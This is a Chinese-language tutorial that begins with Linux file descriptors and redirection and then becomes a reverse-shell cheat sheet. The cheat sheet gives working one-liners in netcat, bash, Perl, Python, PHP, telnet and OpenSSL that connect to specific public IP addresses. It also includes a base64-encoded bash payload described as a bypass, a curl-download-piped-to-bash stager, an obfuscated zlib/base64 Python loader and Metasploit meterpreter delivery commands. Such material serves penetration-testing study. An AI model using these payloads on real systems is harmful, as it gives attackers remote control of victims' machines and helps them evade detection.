linux文件描述符

文件描述符是一个非负整数(0~n),内核需要通过这个文件描述符才可以访问文件。文件描述符好比一本书的目录(索引),通过这个索引可以找到需要的内容。在Linux内核默认为每个进程创建三个标准的文件描述符0(标准输入)、1(标准输出)、2(标准错误)

通过查看/proc/PID/fd目录下的文件,就可以查看每个进程拥有的文件描述符。

1
2
#查看当前shell的文件描述符
ll /proc/$$/fd

image-20240607201053088

[!NOTE]

255文件描述符是一个小技巧,bash用于在重定向时保留这些副本。

打开文件时,系统内核会为特定的进程自动创建对应的文件描述符

1
2
3
4
5
6
7
8
# tail打开一个文件
tail -f flag

# 获取tail进程PID
pidof tail

# 查看tail进程创建的文件描述符
ll /proc/98/fd

重定向

1.输入重定向

1
2
<
从文件读取输入。

2.输出重定向

1
2
3
4
5
>
将输出保存到文件。

>>
将输出追加到文件。

3.管道

1
2
|
将一个程序的输出作为输入发送到另一个程序。

文件描述符操作

更改标准输出的位置

把标准输出更改到test文件中:

1
exec 1> test

更改标准输入的位置

从键盘输入,读取user变量:

1
2
3
4
 ~   read user
testtest
~ echo $user
testtest

将test文件中的内容重定向到标准输入:

1
2
3
 ~   read user 0< test
~ echo $user
lst

创建文件描述符

创建

1
exec 文件描述符 <> 文件名

调用

1
&文件描述符

关闭

1
2
3
exec 文件描述符<&-

exec 文件描述符>&-

如:

1
2
3
4
➜ ~ ➜  exec 5> test
➜ ~ ➜ echo 'are you ok?' 1>&5
➜ ~ ➜ cat test
are you ok?

/dev/null

特殊文件,写入的任何东西都会被清空,从而丢掉不想保存的错误信息

1
2
3
4
#将标准错误输出重定向到/dev/null
whoami 2>/dev/null
#快速移除文件中的数据而不用删除文件
cat /dev/null > test

bash反弹shell原理

1)什么是反弹shell

被控端主动发起连接去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用导致不能正常接受发送过来的数据包。

1
2
3
4
控制端:
nc –lvvp 6666
被控端:
bash -i >& /dev/tcp/192.168.81.154/6666 0>&1

参数解释

1
2
3
4
5
6
7
8
9
bash -i
打开一个交互式的bash shell。

/dev/tcp/IP/PORT
/dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。
打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

/dev/tcp/192.168.81.154/6666
和192.168.81.154的6666端口建立TCP连接

[!IMPORTANT]

.>&、&>:混合输出(正确、错误的输出都输出到一个地方)

0>&1:将标准输入的读取对象设置为标准输出的输出对象

1
2
3
4
5
# 获取bash进程ID(128123)
ps -elf|grep "bash -i"

# 查看进程文件描述符
ll /proc/128123/fd

linux反弹shell方法

nc

全名Netcat(网络刀);常用于溢出,反向链接,上传文本等,是一个非标准的telnet客户端。也是一个putty.exe客户端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
被控端:
nc -lvvp 6666 -e /bin/sh

控制端:
nc 10.10.1.7 6666

理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell;这是正向连接

控制端:
nc -lvvp 6666

被控端:
nc -e /bin/sh 10.10.1.11 6666

原理:
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。;这是反弹shell

无-e参数反弹shell(被控端

1
2
3
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 139.155.49.43 6666 >/tmp/f
#解析 mkfifo命令首先创建了一个管道,cat将管道里面的内容输出传递给/bin/bash,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道,由此形成一个回路。
相关资料:https://www.cnblogs.com/old-path-white-cloud/p/11685558.html
1
2
mknod backpipe p; nc 47.101.214.85 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe
#相关资料:https://man.linuxde.net/mknod

bash

一般我们是用图形界面和命令去控制计算机,真正能够控制计算机硬件(CPU、内存、显示器等)的只有操作系统内核(Kernel),由于安全、复杂、繁琐等原因,用户不能直接接触内核,需要另外再开发一个程序,让用户直接使用这个程序;该程序的作用就是接收用户的操作(点击图标、输入命令),并进行简单的处理,然后再传递给内核,内核和用户之间就多了一层“中间代理”,Shell 其实就是一种脚本语言,也是一个可以用来连接内核和用户的软件,我们编写完源码后不用编译,直接运行源码即可。

常用的Shell:bash由 GNU 组织开发,sh 是 UNIX 上的标准 shell,是第一个流行的 Shell,bash保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。现在sh 已经基本被 bash 代替,bash是sh的扩展补充,但是也有些是不兼容的,大多数情况下区别不大,特殊场景可以使用 bash 代替 sh。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
被控端:
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1

控制端:
nc –lvvp 6666

被控端:
exec 5<>/dev/tcp/139.155.49.43/6666;cat <&5 | while read line; do $line 2>&5 >&5; done

控制端:
nc –lvvp 6666

base64编码绕过:
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzY2NjYgMD4mMQ==|base64 -d|bash -i"

Perl

1
2
perl -e 'use Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.101.214.85:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Curl

curl是一个非常实用的、用来与服务器之间传输数据的工具;支持的协议包括 (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, TELNET and TFTP),curl设计为无用户交互下完成工作;curl提供了一大堆非常有用的功能,包括代理访问、用户认证、ftp上传下载、HTTP POST、SSL连接、cookie支持、断点续传…。

vps

1
2
3
4
5
6
root@VM-0-2-ubuntu:~# cat index.html
bash -i >& /dev/tcp/139.155.49.43/6666 0>&1

root@VM-0-2-ubuntu:~# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
47.101.214.85 - - [03/Dec/2020 09:21:39] "GET /index.html HTTP/1.1" 200 -

target

1
2
3
curl 139.155.49.43:8000|bash

curl http://139.155.49.43:8000/index.html|bash

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.101.214.85",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
msfvenom -p python/meterpreter/reverse_tcp LHOST=139.155.49.43 LPORT=6666 -f raw

handler -p python/meterpreter/reverse_tcp -H 139.155.49.43 -P 6666

use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 0
msf5 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set lport 8888
msf5 exploit(multi/script/web_delivery) > exploit –j

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://139.155.49.43:8080/pWMAajktf', context=ssl._create_unverified_context());exec(r.read());"

exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/orckGMPWbQu7bAURDyIiuN5EpE1ntTRNQiarVfG/25DFOczwZt68+RgmZ33I0aoRgvjWQye6FqEuBQZ/VEGEYQJysD6f88HkvjVvwIoV35Is+K/FZ9ikZpkCuxAnvH+4vnvdPz3eXN3zyJPKGgMqMEaL9UYWVSXLjSzXVNSL8cjpPLQjyWBW4EIUj9MlagDHKk50k5aSR+NaNTJ6eUsFSg/qg5WcP69eSN+csObk833QkGswrOc7vcj1Z//V85TmBGZQLN4te1B2ch4QWXqB7OoyJnuITPFDkW7xl5M/KpNfQg==')[0])))

PHP

1
php -r '$sock=fsockopen("47.101.214.85",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
1
2
3
4
5
6
7
8
msfvenom -p php/bind_php lport=6666 -f raw > bind_php.php

use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 1
msf5 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > exploit –j

php -d allow_url_fopen=true -r "eval(file_get_contents('http://139.155.49.43:8080/RRfKpX', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

Ruby

1
msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw

Telnet

telnet(Teletype Network)是一种网络协议,用于在远程主机和本地计算机之间建立文本式连接。它最初于1969年开发,是Internet的早期协议之一。telnet命令使用TCP/IP网络通过端口23建立连接,提供了一种通过命令行界面管理远程系统的方式。

1
2
3
4
5
6
攻击机:
nc -lvvp 5555
nc -lvvp 6666

目标机:
telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85 6666

OpenSSL

1. openssl是一个安全套接字层密码库,囊括主要的密码算法、常用密钥、证书封装管理功能及实现ssl协议。OpenSSL整个软件包大概可以分成三个主要的功能部分:SSL协议库libssl、应用程序命令工具以及密码算法库libcrypto。
2. SSL:Secure Socket Layer,安全套接字层协议,分为SSLv2和SSLv3两个版本,TSL在SSL3.0基础之上提出的安全通信标准化版。主要是为了加密传输数据而产生的协议,能使用户/服务器应用之间的通信不被攻击者窃听,并且始终对服务器进行认证,还可选择对用户进行认证。

1
2
远程主机生成密钥文件
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
1
2
远程攻击主机启动监视器
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
1
2
目标机上反弹shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s